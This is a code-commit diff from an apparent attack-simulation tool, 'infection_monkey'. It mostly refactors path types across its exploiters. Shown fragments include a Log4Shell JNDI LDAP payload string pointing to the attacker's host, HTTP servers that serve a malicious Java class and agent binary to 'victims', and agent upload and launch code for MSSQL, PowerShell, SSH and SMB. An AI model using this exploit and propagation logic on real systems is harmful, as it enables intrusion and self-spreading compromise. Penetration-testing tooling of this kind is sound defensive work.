Merge pull request #1810 from guardicore/1782-log4shell

1782 log4shell
This commit is contained in:
Mike Salvatore 2022-03-24 10:50:46 -04:00 committed by GitHub
commit 2471eb6762
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
7 changed files with 29 additions and 27 deletions

View File

@ -1,5 +1,6 @@
import logging import logging
import time import time
from pathlib import PurePath
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
from infection_monkey.exploit.log4shell_utils import ( from infection_monkey.exploit.log4shell_utils import (
@ -10,6 +11,7 @@ from infection_monkey.exploit.log4shell_utils import (
build_exploit_bytecode, build_exploit_bytecode,
get_log4shell_service_exploiters, get_log4shell_service_exploiters,
) )
from infection_monkey.exploit.tools.helpers import get_agent_dest_path
from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.i_puppet.i_puppet import ExploiterResultData from infection_monkey.i_puppet.i_puppet import ExploiterResultData
@ -60,13 +62,13 @@ class Log4ShellExploiter(WebRCE):
self._agent_http_server_thread = None self._agent_http_server_thread = None
def _start_servers(self): def _start_servers(self):
dropper_target_path = self.monkey_target_paths[self.host.os["type"]] target_path = get_agent_dest_path(self.host, self.options)
# Start http server, to serve agent to victims # Start http server, to serve agent to victims
agent_http_path = self._start_agent_http_server(dropper_target_path) agent_http_path = self._start_agent_http_server(target_path)
# Build agent execution command # Build agent execution command
command = self._build_command(dropper_target_path, agent_http_path) command = self._build_command(target_path, agent_http_path)
# Start http server to serve malicious java class to victim # Start http server to serve malicious java class to victim
self._start_class_http_server(command) self._start_class_http_server(command)
@ -111,7 +113,7 @@ class Log4ShellExploiter(WebRCE):
interface_ip = get_interface_to_target(self.host.ip_addr) interface_ip = get_interface_to_target(self.host.ip_addr)
return f"${{jndi:ldap://{interface_ip}:{self._ldap_port}/dn=Exploit}}" return f"${{jndi:ldap://{interface_ip}:{self._ldap_port}/dn=Exploit}}"
def _build_command(self, path, http_path) -> str: def _build_command(self, path: PurePath, http_path) -> str:
# Build command to execute # Build command to execute
monkey_cmd = build_monkey_commandline(self.host, self.current_depth - 1, location=path) monkey_cmd = build_monkey_commandline(self.host, self.current_depth - 1, location=path)
if "linux" in self.host.os["type"]: if "linux" in self.host.os["type"]:
@ -157,7 +159,6 @@ class Log4ShellExploiter(WebRCE):
"port": port, "port": port,
} }
self.exploit_info["vulnerable_urls"].append(url) self.exploit_info["vulnerable_urls"].append(url)
self.exploit_result.propagation_success = True
def _wait_for_victim(self) -> bool: def _wait_for_victim(self) -> bool:
victim_called_back = self._wait_for_victim_to_download_java_bytecode() victim_called_back = self._wait_for_victim_to_download_java_bytecode()
@ -186,6 +187,7 @@ class Log4ShellExploiter(WebRCE):
while not timer.is_expired(): while not timer.is_expired():
if self._agent_http_server_thread.downloads > 0: if self._agent_http_server_thread.downloads > 0:
self.exploit_result.propagation_success = True
break break
# TODO: if the http server got an error we're waiting for nothing here # TODO: if the http server got an error we're waiting for nothing here

View File

@ -1,6 +1,6 @@
import logging import logging
import os import os
from pathlib import Path from pathlib import PurePath
from time import sleep from time import sleep
import pymssql import pymssql
@ -132,7 +132,7 @@ class MSSQLExploiter(HostExploiter):
raise Exception("Couldn't execute MSSQL exploiter because payload was too long") raise Exception("Couldn't execute MSSQL exploiter because payload was too long")
self.run_mssql_commands(array_of_commands) self.run_mssql_commands(array_of_commands)
def run_monkey(self, monkey_path_on_victim: Path): def run_monkey(self, monkey_path_on_victim: PurePath):
monkey_launch_command = self.get_monkey_launch_command(monkey_path_on_victim) monkey_launch_command = self.get_monkey_launch_command(monkey_path_on_victim)
self.run_mssql_command(monkey_launch_command) self.run_mssql_command(monkey_launch_command)
self.run_payload_file() self.run_payload_file()
@ -142,7 +142,7 @@ class MSSQLExploiter(HostExploiter):
self.cursor.execute(cmd) self.cursor.execute(cmd)
sleep(MSSQLExploiter.QUERY_BUFFER) sleep(MSSQLExploiter.QUERY_BUFFER)
def upload_monkey(self, monkey_path_on_victim: Path): def upload_monkey(self, monkey_path_on_victim: PurePath):
monkey_download_command = self.write_download_command_to_payload(monkey_path_on_victim) monkey_download_command = self.write_download_command_to_payload(monkey_path_on_victim)
self.run_payload_file() self.run_payload_file()
self.add_executed_cmd(monkey_download_command.command) self.add_executed_cmd(monkey_download_command.command)
@ -158,7 +158,7 @@ class MSSQLExploiter(HostExploiter):
) )
self.run_mssql_command(tmp_dir_removal_command) self.run_mssql_command(tmp_dir_removal_command)
def start_monkey_server(self, monkey_path_on_victim: Path) -> LockedHTTPServer: def start_monkey_server(self, monkey_path_on_victim: PurePath) -> LockedHTTPServer:
self.agent_http_path, http_thread = HTTPTools.create_locked_transfer( self.agent_http_path, http_thread = HTTPTools.create_locked_transfer(
self.host, str(monkey_path_on_victim), self.agent_repository self.host, str(monkey_path_on_victim), self.agent_repository
) )
@ -169,12 +169,12 @@ class MSSQLExploiter(HostExploiter):
http_thread.stop() http_thread.stop()
http_thread.join(LONG_REQUEST_TIMEOUT) http_thread.join(LONG_REQUEST_TIMEOUT)
def write_download_command_to_payload(self, monkey_path_on_victim: Path): def write_download_command_to_payload(self, monkey_path_on_victim: PurePath):
monkey_download_command = self.get_monkey_download_command(monkey_path_on_victim) monkey_download_command = self.get_monkey_download_command(monkey_path_on_victim)
self.run_mssql_command(monkey_download_command) self.run_mssql_command(monkey_download_command)
return monkey_download_command return monkey_download_command
def get_monkey_launch_command(self, monkey_path_on_victim: Path): def get_monkey_launch_command(self, monkey_path_on_victim: PurePath):
# Form monkey's launch command # Form monkey's launch command
monkey_args = build_monkey_commandline( monkey_args = build_monkey_commandline(
self.host, self.current_depth - 1, monkey_path_on_victim self.host, self.current_depth - 1, monkey_path_on_victim
@ -187,7 +187,7 @@ class MSSQLExploiter(HostExploiter):
suffix=suffix, suffix=suffix,
) )
def get_monkey_download_command(self, monkey_path_on_victim: Path): def get_monkey_download_command(self, monkey_path_on_victim: PurePath):
monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format( monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format(
http_path=self.agent_http_path, dst_path=str(monkey_path_on_victim) http_path=self.agent_http_path, dst_path=str(monkey_path_on_victim)
) )

View File

@ -1,5 +1,5 @@
import logging import logging
from pathlib import Path from pathlib import Path, PurePath
from typing import List, Optional from typing import List, Optional
from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.HostExploiter import HostExploiter
@ -147,7 +147,7 @@ class PowerShellExploiter(HostExploiter):
f"Failed to execute the agent binary on the victim: {ex}" f"Failed to execute the agent binary on the victim: {ex}"
) )
def _copy_monkey_binary_to_victim(self, monkey_path_on_victim: Path): def _copy_monkey_binary_to_victim(self, monkey_path_on_victim: PurePath):
temp_monkey_binary_filepath = Path(f"./monkey_temp_bin_{get_random_file_suffix()}") temp_monkey_binary_filepath = Path(f"./monkey_temp_bin_{get_random_file_suffix()}")

View File

@ -1,6 +1,6 @@
import abc import abc
import logging import logging
from pathlib import Path from pathlib import Path, PurePath
from typing import Optional from typing import Optional
import pypsrp import pypsrp
@ -64,7 +64,7 @@ class IPowerShellClient(Protocol, metaclass=abc.ABCMeta):
pass pass
@abc.abstractmethod @abc.abstractmethod
def copy_file(self, src: Path, dest: Path) -> bool: def copy_file(self, src: Path, dest: PurePath) -> bool:
pass pass
@abc.abstractmethod @abc.abstractmethod
@ -102,7 +102,7 @@ class PowerShellClient(IPowerShellClient):
output, _, _ = self._client.execute_cmd(cmd) output, _, _ = self._client.execute_cmd(cmd)
return output return output
def copy_file(self, src: Path, dest: Path): def copy_file(self, src: Path, dest: PurePath):
try: try:
self._client.copy(str(src), str(dest)) self._client.copy(str(src), str(dest))
logger.debug(f"Successfully copied {src} to {dest} on {self._ip_addr}") logger.debug(f"Successfully copied {src} to {dest} on {self._ip_addr}")

View File

@ -1,6 +1,6 @@
import io import io
import logging import logging
from pathlib import Path from pathlib import PurePath
import paramiko import paramiko
@ -265,7 +265,7 @@ class SSHExploiter(HostExploiter):
return self.exploit_result return self.exploit_result
def _set_executable_bit_on_agent_binary( def _set_executable_bit_on_agent_binary(
self, ftp: paramiko.sftp_client.SFTPClient, monkey_path_on_victim: Path self, ftp: paramiko.sftp_client.SFTPClient, monkey_path_on_victim: PurePath
): ):
ftp.chmod(str(monkey_path_on_victim), 0o700) ftp.chmod(str(monkey_path_on_victim), 0o700)
self.telemetry_messenger.send_telemetry( self.telemetry_messenger.send_telemetry(

View File

@ -1,7 +1,7 @@
import logging import logging
import random import random
import string import string
from pathlib import Path from pathlib import Path, PurePosixPath, PureWindowsPath, PurePath
from typing import Any, Mapping from typing import Any, Mapping
from infection_monkey.model import VictimHost from infection_monkey.model import VictimHost
@ -18,18 +18,18 @@ def get_random_file_suffix() -> str:
return random_string return random_string
def get_agent_dest_path(host: VictimHost, options: Mapping[str, Any]) -> Path: def get_agent_dest_path(host: VictimHost, options: Mapping[str, Any]) -> PurePath:
if host.os["type"] == "windows": if host.os["type"] == "windows":
path = Path(options["dropper_target_path_win_64"]) path = PureWindowsPath(options["dropper_target_path_win_64"])
else: else:
path = Path(options["dropper_target_path_linux"]) path = PurePosixPath(options["dropper_target_path_linux"])
return _add_random_suffix(path) return _add_random_suffix(path)
# Turns C:\\monkey.exe into C:\\monkey-<random_string>.exe # Turns C:\\monkey.exe into C:\\monkey-<random_string>.exe
# Useful to avoid duplicate file paths # Useful to avoid duplicate file paths
def _add_random_suffix(path: Path) -> Path: def _add_random_suffix(path: PurePath) -> PurePath:
stem = path.name.split(".")[0] stem = path.name.split(".")[0]
stem = f"{stem}-{get_random_file_suffix()}" stem = f"{stem}-{get_random_file_suffix()}"
rand_filename = "".join([stem, *path.suffixes]) rand_filename = "".join([stem, *path.suffixes])

View File

@ -2,7 +2,7 @@ import logging
import ntpath import ntpath
import pprint import pprint
from io import BytesIO from io import BytesIO
from pathlib import Path from pathlib import PurePath
from typing import Optional from typing import Optional
from impacket.dcerpc.v5 import srvs, transport from impacket.dcerpc.v5 import srvs, transport
@ -22,7 +22,7 @@ class SmbTools(object):
def copy_file( def copy_file(
host, host,
agent_file: BytesIO, agent_file: BytesIO,
dst_path: Path, dst_path: PurePath,
username, username,
password, password,
lm_hash="", lm_hash="",
@ -104,7 +104,7 @@ class SmbTools(object):
if str(dst_path).lower().startswith(share_path.lower()): if str(dst_path).lower().startswith(share_path.lower()):
high_priority_shares += ( high_priority_shares += (
(ntpath.sep + str(dst_path)[len(share_path):], share_info), (ntpath.sep + str(dst_path)[len(share_path) :], share_info),
) )
low_priority_shares += ((ntpath.sep + file_name, share_info),) low_priority_shares += ((ntpath.sep + file_name, share_info),)